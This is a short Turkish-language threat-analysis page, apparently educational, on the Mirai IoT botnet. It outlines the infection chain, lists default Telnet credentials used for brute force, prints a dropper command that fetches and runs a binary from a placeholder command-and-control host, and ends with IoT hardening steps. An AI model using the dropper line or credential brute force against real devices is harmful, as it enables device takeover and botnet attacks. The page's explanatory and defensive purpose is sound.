IoT/ARM Mirai Botnet Shellcode Analizi - Telnet Brute ve Payload

<div class="space-y-8 text-slate-800 font-sans leading-relaxed">

  <div class="border-l-4 border-amber-500 pl-5 py-3 bg-amber-50/60 rounded-r-xl">
    <p class="text-xs font-bold uppercase tracking-widest text-amber-700 mb-1">Modern Tehdit Analizi - IoT - Botnet</p>
    <h2 class="text-2xl font-extrabold text-slate-900 leading-tight">Mirai Botnet Tarzi IoT Shellcode - ARM/MIPS</h2>
    <p class="text-sm text-slate-600 mt-2">Mirai, 2016'da tarihin en buyuk DDoS'unu gerceklestiren IoT botnetidir. Kaynak kodu aciklandiktan sonra turevleri cogalmistir.</p>
  </div>

  <div>
    <h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">Mirai Enfeksiyon Zinciri</h3>
    <div class="bg-slate-900 text-slate-300 p-4 rounded-xl font-mono text-xs overflow-x-auto shadow-inner leading-5">
[Scanner]
  Rastgele IP -> port 23/2323 Telnet tara
[Brute Force]
  62 varsayilan kullanici/sifre dene
  admin/admin, root/root, root/vizxv...
[Loader]
  wget/tftp ile binary indir, calistir
[Bot Binary ARM/MIPS/x86]
  CNC sunucusuna baglan
  DDoS komutlarini bekle
    </div>
  </div>
  <div>
    <h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">Dropper Shell Komutu</h3>
    <div class="bg-slate-900 text-slate-300 p-4 rounded-xl font-mono text-xs overflow-x-auto shadow-inner leading-5">
busybox wget http://[CNC]/mirai.arm -O /tmp/.x
chmod 777 /tmp/.x; /tmp/.x mirai
    </div>
  </div>
  <div>
    <h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">IoT Sertlestirme</h3>
    <div class="bg-slate-900 text-slate-300 p-4 rounded-xl font-mono text-xs overflow-x-auto shadow-inner leading-5">
1. Telnet'i devre disi birakin, SSH kullanin
2. Varsayilan sifreyi degistirin
3. Gereksiz portlari kapatin
4. Firmware guncellemelerini takip edin
5. VLAN ile IoT'u izole edin
6. Shodan ile kendi IP bloklarinizi aratın
    </div>
  </div>
</div>